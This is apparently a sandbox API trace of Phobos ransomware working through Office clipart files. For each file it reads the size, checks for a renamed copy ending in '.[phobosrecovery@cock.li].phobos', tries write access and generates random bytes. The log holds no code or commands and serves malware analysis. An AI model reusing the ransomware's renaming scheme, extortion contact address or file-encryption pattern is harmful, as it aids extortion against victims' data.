CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.867] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=33958) returned 1 [0150.867] CloseHandle (hObject=0x564) returned 1 [0150.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 0x220 [0150.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.867] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.868] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=39542) returned 1 [0150.868] CloseHandle (hObject=0x564) returned 1 [0150.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 0x220 [0150.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.869] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.049] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=46508) returned 1 [0151.049] CloseHandle (hObject=0x564) returned 1 [0151.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 0x220 [0151.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.050] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.055] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6276) returned 1 [0151.055] CloseHandle (hObject=0x564) returned 1 [0151.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 0x220 [0151.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.056] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.057] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16632) returned 1 [0151.057] CloseHandle (hObject=0x564) returned 1 [0151.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 0x220 [0151.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.058] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.058] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12436) returned 1 [0151.058] CloseHandle (hObject=0x564) returned 1 [0151.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 0x220 [0151.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.059] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.060] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5960) returned 1 [0151.060] CloseHandle (hObject=0x564) returned 1 [0151.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 0x220 [0151.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.060] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.062] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9604) returned 1 [0151.062] CloseHandle (hObject=0x564) returned 1 [0151.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 0x220 [0151.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.063] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.064] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=26248) returned 1 [0151.064] CloseHandle (hObject=0x564) returned 1 [0151.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 0x220 [0151.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.064] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.065] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=30812) returned 1 [0151.065] CloseHandle (hObject=0x564) returned 1 [0151.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 0x220 [0151.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.066] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.067] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=34676) returned 1 [0151.067] CloseHandle (hObject=0x564) returned 1 [0151.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 0x220 [0151.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.067] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.068] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1268) returned 1 [0151.069] CloseHandle (hObject=0x564) returned 1 [0151.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 0x220 [0151.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.069] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.071] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1348) returned 1 [0151.071] CloseHandle (hObject=0x564) returned 1 [0151.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 0x220 [0151.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.071] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.072] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7320) returned 1 [0151.072] CloseHandle (hObject=0x564) returned 1 [0151.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 0x220 [0151.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.073] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.074] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1208) returned 1 [0151.074] CloseHandle (hObject=0x564) returned 1 [0151.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 0x220 [0151.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.074] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.077] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1208) returned 1 [0151.077] CloseHandle (hObject=0x564) returned 1 [0151.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf")) returned 0x220 [0151.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.077] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.078] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1652) returned 1 [0151.078] CloseHandle (hObject=0x564) returned 1 [0151.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 0x220 [0151.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft 